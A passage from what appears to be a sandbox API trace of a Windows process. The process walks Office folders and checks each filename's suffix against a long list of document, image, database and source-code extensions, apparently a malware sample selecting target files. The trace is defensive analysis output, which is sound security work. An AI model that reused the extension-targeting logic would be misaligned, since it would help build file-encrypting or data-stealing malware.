(lpString1=".cfu", lpString2=".XML") returned -1 [0074.813] lstrlenW (lpString=".chm") returned 4 [0074.813] lstrcmpiW (lpString1=".chm", lpString2=".XML") returned -1 [0074.813] lstrlenW (lpString=".cin") returned 4 [0074.813] lstrcmpiW (lpString1=".cin", lpString2=".XML") returned -1 [0074.813] lstrlenW (lpString=".class") returned 6 [0074.813] lstrcmpiW (lpString1=".class", lpString2="UI.XML") returned -1 [0074.813] lstrlenW (lpString=".clx") returned 4 [0074.813] lstrcmpiW (lpString1=".clx", lpString2=".XML") returned -1 [0074.813] lstrlenW (lpString=".config") returned 7 [0074.813] lstrcmpiW (lpString1=".config", lpString2="MUI.XML") returned -1 [0074.813] lstrlenW (lpString=".cpp") returned 4 [0074.813] lstrcmpiW (lpString1=".cpp", lpString2=".XML") returned -1 [0074.813] lstrlenW (lpString=".cr2") returned 4 [0074.813] lstrcmpiW (lpString1=".cr2", lpString2=".XML") returned -1 [0074.813] lstrlenW (lpString=".crt") returned 4 [0074.813] lstrcmpiW (lpString1=".crt", lpString2=".XML") returned -1 [0074.813] lstrlenW (lpString=".crw") returned 4 [0074.813] lstrcmpiW (lpString1=".crw", lpString2=".XML") returned -1 [0074.813] lstrlenW (lpString=".cs") returned 3 [0074.814] lstrcmpiW (lpString1=".cs", lpString2="XML") returned -1 [0074.814] lstrlenW (lpString=".css") returned 4 [0074.814] lstrcmpiW (lpString1=".css", lpString2=".XML") returned -1 [0074.814] lstrlenW (lpString=".csv") returned 4 [0074.814] lstrcmpiW (lpString1=".csv", lpString2=".XML") returned -1 [0074.814] lstrlenW (lpString=".cub") returned 4 [0074.814] lstrcmpiW (lpString1=".cub", lpString2=".XML") returned -1 [0074.814] lstrlenW (lpString=".dae") returned 4 [0074.814] lstrcmpiW (lpString1=".dae", lpString2=".XML") returned -1 [0074.814] lstrlenW (lpString=".dat") returned 4 [0074.814] lstrcmpiW (lpString1=".dat", lpString2=".XML") returned -1 [0074.814] lstrlenW (lpString=".db") returned 3 [0074.814] lstrcmpiW (lpString1=".db", lpString2="XML") returned -1 [0074.814] lstrlenW (lpString=".dbf") returned 4 [0074.814] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0074.814] lstrlenW (lpString=".dbx") returned 4 [0074.814] lstrcmpiW (lpString1=".dbx", lpString2=".XML") returned -1 [0074.814] lstrlenW (lpString=".dc3") returned 4 [0074.814] lstrcmpiW (lpString1=".dc3", lpString2=".XML") returned -1 [0074.814] lstrlenW (lpString=".dcm") returned 4 [0074.814] lstrcmpiW (lpString1=".dcm", lpString2=".XML") returned -1 [0074.814] lstrlenW (lpString=".dcr") returned 4 [0074.814] lstrcmpiW (lpString1=".dcr", lpString2=".XML") returned -1 [0074.814] lstrlenW (lpString=".der") returned 4 [0074.814] lstrcmpiW (lpString1=".der", lpString2=".XML") returned -1 [0074.815] lstrlenW (lpString=".dib") returned 4 [0074.815] lstrcmpiW (lpString1=".dib", lpString2=".XML") returned -1 [0074.815] lstrlenW (lpString=".dic") returned 4 [0074.815] lstrcmpiW (lpString1=".dic", lpString2=".XML") returned -1 [0074.815] lstrlenW (lpString=".dif") returned 4 [0074.815] lstrcmpiW (lpString1=".dif", lpString2=".XML") returned -1 [0074.815] lstrlenW (lpString=".divx") returned 5 [0074.815] lstrcmpiW (lpString1=".divx", lpString2="I.XML") returned -1 [0074.815] lstrlenW (lpString=".djvu") returned 5 [0074.815] lstrcmpiW (lpString1=".djvu", lpString2="I.XML") returned -1 [0074.815] lstrlenW (lpString=".dng") returned 4 [0074.815] lstrcmpiW (lpString1=".dng", lpString2=".XML") returned -1 [0074.815] lstrlenW (lpString=".doc") returned 4 [0074.815] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0074.815] lstrlenW (lpString=".docm") returned 5 [0074.815] lstrcmpiW (lpString1=".docm", lpString2="I.XML") returned -1 [0074.815] lstrlenW (lpString=".docx") returned 5 [0074.815] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0074.815] lstrlenW (lpString=".dot") returned 4 [0074.815] lstrcmpiW (lpString1=".dot", lpString2=".XML") returned -1 [0074.816] lstrlenW (lpString=".dotm") returned 5 [0074.816] lstrcmpiW (lpString1=".dotm", lpString2="I.XML") returned -1 [0074.816] lstrlenW (lpString=".dotx") returned 5 [0074.816] lstrcmpiW (lpString1=".dotx", lpString2="I.XML") returned -1 [0074.816] lstrlenW (lpString=".dpx") returned 4 [0074.816] lstrcmpiW (lpString1=".dpx", lpString2=".XML") returned -1 [0074.816] lstrlenW (lpString=".dqy") returned 4 [0074.816] lstrcmpiW (lpString1=".dqy", lpString2=".XML") returned -1 [0074.816] lstrlenW (lpString=".dsn") returned 4 [0074.816] lstrcmpiW (lpString1=".dsn", lpString2=".XML") returned -1 [0074.816] lstrlenW (lpString=".dt") returned 3 [0074.816] lstrcmpiW (lpString1=".dt", lpString2="XML") returned -1 [0074.816] lstrlenW (lpString=".dtd") returned 4 [0074.816] lstrcmpiW (lpString1=".dtd", lpString2=".XML") returned -1 [0074.816] lstrlenW (lpString=".dwg") returned 4 [0074.816] lstrcmpiW (lpString1=".dwg", lpString2=".XML") returned -1 [0074.816] lstrlenW (lpString=".dwt") returned 4 [0074.816] lstrcmpiW (lpString1=".dwt", lpString2=".XML") returned -1 [0074.816] lstrlenW (lpString=".dx") returned 3 [0074.816] lstrcmpiW (lpString1=".dx", lpString2="XML") returned -1 [0074.816] lstrlenW (lpString=".dxf") returned 4 [0074.816] lstrcmpiW (lpString1=".dxf", lpString2=".XML") returned -1 [0074.817] lstrlenW (lpString=".edml") returned 5 [0074.817] lstrcmpiW (lpString1=".edml", lpString2="I.XML") returned -1 [0074.817] lstrlenW (lpString=".efd") returned 4 [0074.817] lstrcmpiW (lpString1=".efd", lpString2=".XML") returned -1 [0074.817] lstrlenW (lpString=".elf") returned 4 [0074.817] lstrcmpiW (lpString1=".elf", lpString2=".XML") returned -1 [0074.817] lstrlenW (lpString=".emf") returned 4 [0075.084] lstrcmpiW (lpString1=".emf", lpString2=".XML") returned -1 [0075.084] lstrlenW (lpString=".emz") returned 4 [0075.084] lstrcmpiW (lpString1=".emz", lpString2=".XML") returned -1 [0075.084] lstrlenW (lpString=".epf") returned 4 [0075.084] lstrcmpiW (lpString1=".epf", lpString2=".XML") returned -1 [0075.084] lstrlenW (lpString=".eps") returned 4 [0075.084] lstrcmpiW (lpString1=".eps", lpString2=".XML") returned -1 [0075.084] lstrlenW (lpString=".epsf") returned 5 [0075.084] lstrcmpiW (lpString1=".epsf", lpString2="I.XML") returned -1 [0075.084] lstrlenW (lpString=".epsp") returned 5 [0075.084] lstrcmpiW (lpString1=".epsp", lpString2="I.XML") returned -1 [0075.084] lstrlenW (lpString=".erf") returned 4 [0075.084] lstrcmpiW (lpString1=".erf", lpString2=".XML") returned -1 [0075.084] lstrlenW (lpString=".exr") returned 4 [0075.084] lstrcmpiW (lpString1=".exr", lpString2=".XML") returned -1 [0075.084] lstrlenW (lpString=".f4v") returned 4 [0075.084] lstrcmpiW (lpString1=".f4v", lpString2=".XML") returned -1 [0075.085] lstrlenW (lpString=".fido") returned 5 [0075.085] lstrcmpiW (lpString1=".fido", lpString2="I.XML") returned -1 [0075.085] lstrlenW (lpString=".flm") returned 4 [0075.085] lstrcmpiW (lpString1=".flm", lpString2=".XML") returned -1 [0075.085] lstrlenW (lpString=".flv") returned 4 [0075.085] lstrcmpiW (lpString1=".flv", lpString2=".XML") returned -1 [0075.085] lstrlenW (lpString=".frm") returned 4 [0075.085] lstrcmpiW (lpString1=".frm", lpString2=".XML") returned -1 [0075.085] lstrlenW (lpString=".fxg") returned 4 [0075.085] lstrcmpiW (lpString1=".fxg", lpString2=".XML") returned -1 [0075.085] lstrlenW (lpString=".geo") returned 4 [0075.085] lstrcmpiW (lpString1=".geo", lpString2=".XML") returned -1 [0075.085] lstrlenW (lpString=".gif") returned 4 [0075.085] lstrcmpiW (lpString1=".gif", lpString2=".XML") returned -1 [0075.085] lstrlenW (lpString=".grs") returned 4 [0075.085] lstrcmpiW (lpString1=".grs", lpString2=".XML") returned -1 [0075.085] lstrlenW (lpString=".gz") returned 3 [0075.085] lstrcmpiW (lpString1=".gz", lpString2="XML") returned -1 [0075.085] lstrlenW (lpString=".h") returned 2 [0075.085] lstrcmpiW (lpString1=".h", lpString2="ML") returned -1 [0075.085] lstrlenW (lpString=".hdr") returned 4 [0075.085] lstrcmpiW (lpString1=".hdr", lpString2=".XML") returned -1 [0075.085] lstrlenW (lpString=".hpp") returned 4 [0075.085] lstrcmpiW (lpString1=".hpp", lpString2=".XML") returned -1 [0075.085] lstrlenW (lpString=".hta") returned 4 [0075.086] lstrcmpiW (lpString1=".hta", lpString2=".XML") returned -1 [0075.086] lstrlenW (lpString=".htc") returned 4 [0075.086] lstrcmpiW (lpString1=".htc", lpString2=".XML") returned -1 [0075.086] lstrlenW (lpString=".htm") returned 4 [0075.086] lstrcmpiW (lpString1=".htm", lpString2=".XML") returned -1 [0075.086] lstrlenW (lpString=".html") returned 5 [0075.086] lstrcmpiW (lpString1=".html", lpString2="I.XML") returned -1 [0075.086] lstrlenW (lpString=".icb") returned 4 [0075.086] lstrcmpiW (lpString1=".icb", lpString2=".XML") returned -1 [0075.086] lstrlenW (lpString=".ics") returned 4 [0075.086] lstrcmpiW (lpString1=".ics", lpString2=".XML") returned -1 [0075.086] lstrlenW (lpString=".iff") returned 4 [0075.086] lstrcmpiW (lpString1=".iff", lpString2=".XML") returned -1 [0075.086] lstrlenW (lpString=".inc") returned 4 [0075.086] lstrcmpiW (lpString1=".inc", lpString2=".XML") returned -1 [0075.086] lstrlenW (lpString=".indd") returned 5 [0075.086] lstrcmpiW (lpString1=".indd", lpString2="I.XML") returned -1 [0075.086] lstrlenW (lpString=".ini") returned 4 [0075.086] lstrcmpiW (lpString1=".ini", lpString2=".XML") returned -1 [0075.086] lstrlenW (lpString=".iqy") returned 4 [0075.086] lstrcmpiW (lpString1=".iqy", lpString2=".XML") returned -1 [0075.086] lstrlenW (lpString=".j2c") returned 4 [0075.086] lstrcmpiW (lpString1=".j2c", lpString2=".XML") returned -1 [0075.086] lstrlenW (lpString=".j2k") returned 4 [0075.086] lstrcmpiW (lpString1=".j2k", lpString2=".XML") returned -1 [0075.086] lstrlenW (lpString=".java") returned 5 [0075.086] lstrcmpiW (lpString1=".java", lpString2="I.XML") returned -1 [0075.086] lstrlenW (lpString=".jp2") returned 4 [0075.087] lstrcmpiW (lpString1=".jp2", lpString2=".XML") returned -1 [0075.087] lstrlenW (lpString=".jpc") returned 4 [0075.087] lstrcmpiW (lpString1=".jpc", lpString2=".XML") returned -1 [0075.087] lstrlenW (lpString=".jpe") returned 4 [0075.087] lstrcmpiW (lpString1=".jpe", lpString2=".XML") returned -1 [0075.087] lstrlenW (lpString=".jpeg") returned 5 [0075.087] lstrcmpiW (lpString1=".jpeg", lpString2="I.XML") returned -1 [0075.087] lstrlenW (lpString=".jpf") returned 4 [0075.087] lstrcmpiW (lpString1=".jpf", lpString2=".XML") returned -1 [0075.087] lstrlenW (lpString=".jpg") returned 4 [0075.087] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0075.087] lstrlenW (lpString=".jpx") returned 4 [0075.087] lstrcmpiW (lpString1=".jpx", lpString2=".XML") returned -1 [0075.087] lstrlenW (lpString=".js") returned 3 [0075.087] lstrcmpiW (lpString1=".js", lpString2="XML") returned -1 [0075.087] lstrlenW (lpString=".jsf") returned 4 [0075.087] lstrcmpiW (lpString1=".jsf", lpString2=".XML") returned -1 [0075.087] lstrlenW (lpString=".json") returned 5 [0075.087] lstrcmpiW (lpString1=".json", lpString2="I.XML") returned -1 [0075.087] lstrlenW (lpString=".jsp") returned 4 [0075.087] lstrcmpiW (lpString1=".jsp", lpString2=".XML") returned -1 [0075.087] lstrlenW (lpString=".kdc") returned 4 [0075.087] lstrcmpiW (lpString1=".kdc", lpString2=".XML") returned -1 [0075.087] lstrlenW (lpString=".kmz") returned 4 [0075.087] lstrcmpiW (lpString1=".kmz", lpString2=".XML") returned -1 [0075.087] lstrlenW (lpString=".kwm") returned 4 [0075.087] lstrcmpiW (lpString1=".kwm", lpString2=".XML") returned -1 [0075.087] lstrlenW (lpString=".lasso") returned 6 [0075.087] lstrcmpiW (lpString1=".lasso", lpString2="UI.XML") returned -1 [0075.087] lstrlenW (lpString=".lbi") returned 4 [0075.088] lstrcmpiW (lpString1=".lbi", lpString2=".XML") returned -1 [0075.088] lstrlenW (lpString=".lgf") returned 4 [0075.088] lstrcmpiW (lpString1=".lgf", lpString2=".XML") returned -1 [0075.088] lstrlenW (lpString=".lgp") returned 4 [0075.088] lstrcmpiW (lpString1=".lgp", lpString2=".XML") returned -1 [0075.088] lstrlenW (lpString=".log") returned 4 [0075.088] lstrcmpiW (lpString1=".log", lpString2=".XML") returned -1 [0075.088] lstrlenW (lpString=".m1v") returned 4 [0075.088] lstrcmpiW (lpString1=".m1v", lpString2=".XML") returned -1 [0075.088] lstrlenW (lpString=".m4a") returned 4 [0075.088] lstrcmpiW (lpString1=".m4a", lpString2=".XML") returned -1 [0075.088] lstrlenW (lpString=".m4v") returned 4 [0075.088] lstrcmpiW (lpString1=".m4v", lpString2=".XML") returned -1 [0075.088] lstrlenW (lpString=".max") returned 4 [0075.088] lstrcmpiW (lpString1=".max", lpString2=".XML") returned -1 [0075.088] lstrlenW (lpString=".md") returned 3 [0075.088] lstrcmpiW (lpString1=".md", lpString2="XML") returned -1 [0075.088] lstrlenW (lpString=".mda") returned 4 [0075.088] lstrcmpiW (lpString1=".mda", lpString2=".XML") returned -1 [0075.088] lstrlenW (lpString=".mdb") returned 4 [0075.088] lstrcmpiW (lpString1=".mdb", lpString2=".XML") returned -1 [0075.088] lstrlenW (lpString=".mde") returned 4 [0075.088] lstrcmpiW (lpString1=".mde", lpString2=".XML") returned -1 [0075.088] lstrlenW (lpString=".mdf") returned 4 [0075.088] lstrcmpiW (lpString1=".mdf", lpString2=".XML") returned -1 [0075.088] lstrlenW (lpString=".mdw") returned 4 [0075.088] lstrcmpiW (lpString1=".mdw", lpString2=".XML") returned -1 [0075.088] lstrlenW (lpString=".mef") returned 4 [0075.088] lstrcmpiW (lpString1=".mef", lpString2=".XML") returned -1 [0075.088] lstrlenW (lpString=".mft") returned 4 [0075.088] lstrcmpiW (lpString1=".mft", lpString2=".XML") returned -1 [0075.088] lstrlenW (lpString=".mfw") returned 4 [0075.088] lstrcmpiW (lpString1=".mfw", lpString2=".XML") returned -1 [0075.089] lstrlenW (lpString=".mht") returned 4 [0075.089] lstrcmpiW (lpString1=".mht", lpString2=".XML") returned -1 [0075.089] lstrlenW (lpString=".mhtml") returned 6 [0075.089] lstrcmpiW (lpString1=".mhtml", lpString2="UI.XML") returned -1 [0075.089] lstrlenW (lpString=".mka") returned 4 [0075.089] lstrcmpiW (lpString1=".mka", lpString2=".XML") returned -1 [0075.089] lstrlenW (lpString=".mkidx") returned 6 [0075.089] lstrcmpiW (lpString1=".mkidx", lpString2="UI.XML") returned -1 [0075.089] lstrlenW (lpString=".mkv") returned 4 [0075.089] lstrcmpiW (lpString1=".mkv", lpString2=".XML") returned -1 [0075.089] lstrlenW (lpString=".mos") returned 4 [0075.089] lstrcmpiW (lpString1=".mos", lpString2=".XML") returned -1 [0075.089] lstrlenW (lpString=".mov") returned 4 [0075.089] lstrcmpiW (lpString1=".mov", lpString2=".XML") returned -1 [0075.089] lstrlenW (lpString=".mp3") returned 4 [0075.089] lstrcmpiW (lpString1=".mp3", lpString2=".XML") returned -1 [0075.089] lstrlenW (lpString=".mp4") returned 4 [0075.089] lstrcmpiW (lpString1=".mp4", lpString2=".XML") returned -1 [0075.089] lstrlenW (lpString=".mpeg") returned 5 [0075.089] lstrcmpiW (lpString1=".mpeg", lpString2="I.XML") returned -1 [0075.089] lstrlenW (lpString=".mpg") returned 4 [0075.089] lstrcmpiW (lpString1=".mpg", lpString2=".XML") returned -1 [0075.089] lstrlenW (lpString=".mpv") returned 4 [0075.089] lstrcmpiW (lpString1=".mpv", lpString2=".XML") returned -1 [0075.089] lstrlenW (lpString=".mrw") returned 4 [0075.089] lstrcmpiW (lpString1=".mrw", lpString2=".XML") returned -1 [0075.089] lstrlenW (lpString=".msg") returned 4 [0075.089] lstrcmpiW (lpString1=".msg", lpString2=".XML") returned -1 [0075.090] lstrlenW (lpString=".mxl") returned 4 [0075.090] lstrcmpiW (lpString1=".mxl", lpString2=".XML") returned -1 [0075.090] lstrlenW (lpString=".myd") returned 4 [0075.090] lstrcmpiW (lpString1=".myd", lpString2=".XML") returned -1 [0075.090] lstrlenW (lpString=".myi") returned 4 [0075.090] lstrcmpiW (lpString1=".myi", lpString2=".XML") returned -1 [0075.090] lstrlenW (lpString=".nef") returned 4 [0075.090] lstrcmpiW (lpString1=".nef", lpString2=".XML") returned -1 [0075.090] lstrlenW (lpString=".nrw") returned 4 [0075.090] lstrcmpiW (lpString1=".nrw", lpString2=".XML") returned -1 [0075.090] lstrlenW (lpString=".obj") returned 4 [0075.090] lstrcmpiW (lpString1=".obj", lpString2=".XML") returned -1 [0075.090] lstrlenW (lpString=".odb") returned 4 [0075.090] lstrcmpiW (lpString1=".odb", lpString2=".XML") returned -1 [0075.090] lstrlenW (lpString=".odc") returned 4 [0075.090] lstrcmpiW (lpString1=".odc", lpString2=".XML") returned -1 [0075.090] lstrlenW (lpString=".odm") returned 4 [0075.090] lstrcmpiW (lpString1=".odm", lpString2=".XML") returned -1 [0075.090] lstrlenW (lpString=".odp") returned 4 [0075.090] lstrcmpiW (lpString1=".odp", lpString2=".XML") returned -1 [0075.090] lstrlenW (lpString=".ods") returned 4 [0075.090] lstrcmpiW (lpString1=".ods", lpString2=".XML") returned -1 [0075.090] lstrlenW (lpString=".oft") returned 4 [0075.090] lstrcmpiW (lpString1=".oft", lpString2=".XML") returned -1 [0075.091] lstrlenW (lpString=".one") returned 4 [0075.091] lstrcmpiW (lpString1=".one", lpString2=".XML") returned -1 [0075.091] lstrlenW (lpString=".onepkg") returned 7 [0075.091] lstrcmpiW (lpString1=".onepkg", lpString2="MUI.XML") returned -1 [0075.091] lstrlenW (lpString=".onetoc2") returned 8 [0075.091] lstrcmpiW (lpString1=".onetoc2", lpString2="eMUI.XML") returned -1 [0075.091] lstrlenW (lpString=".opt") returned 4 [0075.091] lstrcmpiW (lpString1=".opt", lpString2=".XML") returned -1 [0075.091] lstrlenW (lpString=".oqy") returned 4 [0075.091] lstrcmpiW (lpString1=".oqy", lpString2=".XML") returned -1 [0075.091] lstrlenW (lpString=".orf") returned 4 [0075.091] lstrcmpiW (lpString1=".orf", lpString2=".XML") returned -1 [0075.091] lstrlenW (lpString=".p12") returned 4 [0075.091] lstrcmpiW (lpString1=".p12", lpString2=".XML") returned -1 [0075.091] lstrlenW (lpString=".p7b") returned 4 [0075.091] lstrcmpiW (lpString1=".p7b", lpString2=".XML") returned -1 [0075.091] lstrlenW (lpString=".p7c") returned 4 [0075.091] lstrcmpiW (lpString1=".p7c", lpString2=".XML") returned -1 [0075.091] lstrlenW (lpString=".pam") returned 4 [0075.091] lstrcmpiW (lpString1=".pam", lpString2=".XML") returned -1 [0075.091] lstrlenW (lpString=".pbm") returned 4 [0075.091] lstrcmpiW (lpString1=".pbm", lpString2=".XML") returned -1 [0075.091] lstrlenW (lpString=".pct") returned 4 [0075.091] lstrcmpiW (lpString1=".pct", lpString2=".XML") returned -1 [0075.091] lstrlenW (lpString=".pcx") returned 4 [0075.092] lstrcmpiW (lpString1=".pcx", lpString2=".XML") returned -1 [0075.092] lstrlenW (lpString=".pdd") returned 4 [0075.092] lstrcmpiW (lpString1=".pdd", lpString2=".XML") returned -1 [0075.092] lstrlenW (lpString=".pdf") returned 4 [0075.092] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0075.092] lstrlenW (lpString=".pdp") returned 4 [0075.092] lstrcmpiW (lpString1=".pdp", lpString2=".XML") returned -1 [0075.092] lstrlenW (lpString=".pef") returned 4 [0075.092] lstrcmpiW (lpString1=".pef", lpString2=".XML") returned -1 [0075.092] lstrlenW (lpString=".pem") returned 4 [0075.092] lstrcmpiW (lpString1=".pem", lpString2=".XML") returned -1 [0075.092] lstrlenW (lpString=".pff") returned 4 [0075.092] lstrcmpiW (lpString1=".pff", lpString2=".XML") returned -1 [0075.092] lstrlenW (lpString=".pfm") returned 4 [0075.092] lstrcmpiW (lpString1=".pfm", lpString2=".XML") returned -1 [0075.092] lstrlenW (lpString=".pfx") returned 4 [0075.092] lstrcmpiW (lpString1=".pfx", lpString2=".XML") returned -1 [0075.092] lstrlenW (lpString=".pgm") returned 4 [0075.092] lstrcmpiW (lpString1=".pgm", lpString2=".XML") returned -1 [0075.092] lstrlenW (lpString=".php") returned 4 [0075.093] lstrcmpiW (lpString1=".php", lpString2=".XML") returned -1 [0075.093] lstrlenW (lpString=".php3") returned 5 [0075.093] lstrcmpiW (lpString1=".php3", lpString2="I.XML") returned -1 [0075.093] lstrlenW (lpString=".php4") returned 5 [0075.093] lstrcmpiW (lpString1=".php4", lpString2="I.XML") returned -1 [0075.093] lstrlenW (lpString=".php5") returned 5 [0075.093] lstrcmpiW (lpString1=".php5", lpString2="I.XML") returned -1 [0075.093] lstrlenW (lpString=".phtml") returned 6 [0075.093] lstrcmpiW (lpString1=".phtml", lpString2="UI.XML") returned -1 [0075.093] lstrlenW (lpString=".pict") returned 5 [0075.093] lstrcmpiW (lpString1=".pict", lpString2="I.XML") returned -1 [0075.093] lstrlenW (lpString=".pl") returned 3 [0075.093] lstrcmpiW (lpString1=".pl", lpString2="XML") returned -1 [0075.093] lstrlenW (lpString=".pls") returned 4 [0075.093] lstrcmpiW (lpString1=".pls", lpString2=".XML") returned -1 [0075.093] lstrlenW (lpString=".pm") returned 3 [0075.093] lstrcmpiW (lpString1=".pm", lpString2="XML") returned -1 [0075.093] lstrlenW (lpString=".png") returned 4 [0075.093] lstrcmpiW (lpString1=".png", lpString2=".XML") returned -1 [0075.093] lstrlenW (lpString=".pnm") returned 4 [0075.093] lstrcmpiW (lpString1=".pnm", lpString2=".XML") returned -1 [0075.093] lstrlenW (lpString=".pot") returned 4 [0075.093] lstrcmpiW (lpString1=".pot", lpString2=".XML") returned -1 [0075.093] lstrlenW (lpString=".potm") returned 5 [0075.094] lstrcmpiW (lpString1=".potm", lpString2="I.XML") returned -1 [0075.094] lstrlenW (lpString=".potx") returned 5 [0075.094] lstrcmpiW (lpString1=".potx", lpString2="I.XML") returned -1 [0075.094] lstrlenW (lpString=".ppa") returned 4 [0075.094] lstrcmpiW (lpString1=".ppa", lpString2=".XML") returned -1 [0075.094] lstrlenW (lpString=".ppam") returned 5 [0075.094] lstrcmpiW (lpString1=".ppam", lpString2="I.XML") returned -1 [0075.094] lstrlenW (lpString=".ppm") returned 4 [0075.094] lstrcmpiW (lpString1=".ppm", lpString2=".XML") returned -1 [0075.094] lstrlenW (lpString=".pps") returned 4 [0075.094] lstrcmpiW (lpString1=".pps", lpString2=".XML") returned -1 [0075.094] lstrlenW (lpString=".ppsm") returned 5 [0075.094] lstrcmpiW (lpString1=".ppsm", lpString2="I.XML") returned -1 [0075.094] lstrlenW (lpString=".ppt") returned 4 [0075.094] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0075.094] lstrlenW (lpString=".pptm") returned 5 [0075.094] lstrcmpiW (lpString1=".pptm", lpString2="I.XML") returned -1 [0075.094] lstrlenW (lpString=".pptx") returned 5 [0075.094] lstrcmpiW (lpString1=".pptx", lpString2="I.XML") returned -1 [0075.094] lstrlenW (lpString=".prn") returned 4 [0075.095] lstrcmpiW (lpString1=".prn", lpString2=".XML") returned -1 [0075.095] lstrlenW (lpString=".ps") returned 3 [0075.095] lstrcmpiW (lpString1=".ps", lpString2="XML") returned -1 [0075.095] lstrlenW (lpString=".psb") returned 4 [0075.095] lstrcmpiW (lpString1=".psb", lpString2=".XML") returned -1 [0075.095] lstrlenW (lpString=".psd") returned 4 [0075.095] lstrcmpiW (lpString1=".psd", lpString2=".XML") returned -1 [0075.095] lstrlenW (lpString=".pst") returned 4 [0075.095] lstrcmpiW (lpString1=".pst", lpString2=".XML") returned -1 [0075.095] lstrlenW (lpString=".ptx") returned 4 [0075.095] lstrcmpiW (lpString1=".ptx", lpString2=".XML") returned -1 [0075.095] lstrlenW (lpString=".pub") returned 4 [0075.095] lstrcmpiW (lpString1=".pub", lpString2=".XML") returned -1 [0075.095] lstrlenW (lpString=".pwm") returned 4 [0075.095] lstrcmpiW (lpString1=".pwm", lpString2=".XML") returned -1 [0075.095] lstrlenW (lpString=".pxr") returned 4 [0075.095] lstrcmpiW (lpString1=".pxr", lpString2=".XML") returned -1 [0075.095] lstrlenW (lpString=".py") returned 3 [0075.095] lstrcmpiW (lpString1=".py", lpString2="XML") returned -1 [0075.095] lstrlenW (lpString=".qt") returned 3 [0075.095] lstrcmpiW (lpString1=".qt", lpString2="XML") returned -1 [0075.095] lstrlenW (lpString=".r3d") returned 4 [0075.095] lstrcmpiW (lpString1=".r3d", lpString2=".XML") returned -1 [0075.096] FindClose (in: hFindFile=0x3ee3260 | out: hFindFile=0x3ee3260) returned 1 [0075.096] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f43ff8 | out: hHeap=0x5d0000) returned 1 [0075.112] FindNextFileW (in: hFindFile=0x3ee31a0, lpFindFileData=0x2eef094 | out: lpFindFileData=0x2eef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302b0500, ftCreationTime.dwHighDateTime=0x1cba073, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x302b0500, ftLastWriteTime.dwHighDateTime=0x1cba073, nFileSizeHigh=0x0, nFileSizeLow=0x709b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUP.DLL", cAlternateFileName="")) returned 1 [0075.112] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x3f43ff8 [0075.112] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*", lpFindFileData=0x2eeee18 | out: lpFindFileData=0x2eeee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ee3220 [0076.301] FindNextFileW (in: hFindFile=0x3ee3220, lpFindFileData=0x2eeee18 | out: lpFindFileData=0x2eeee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.301] FindNextFileW (in: hFindFile=0x3ee3220, lpFindFileData=0x2eeee18 | out: lpFindFileData=0x2eeee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee827f20, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.XML", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0076.301] FindClose (in: hFindFile=0x3ee3220 | out: hFindFile=0x3ee3220) returned 1 [0076.302] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f43ff8 | out: hHeap=0x5d0000) returned 1 [0076.473] FindNextFileW (in: hFindFile=0x3ee31a0, lpFindFileData=0x2eef094 | out: lpFindFileData=0x2eef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="pidgenx.dll", cAlternateFileName="")) returned 1 [0076.769] FindNextFileW (in: hFindFile=0x3ee3220, lpFindFileData=0x2eeee18 | out: lpFindFileData=0x2eeee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.770] FindNextFileW (in: hFindFile=0x3ee3220, lpFindFileData=0x2eeee18 | out: lpFindFileData=0x2eeee18*(dwFileAttributes=0x20, 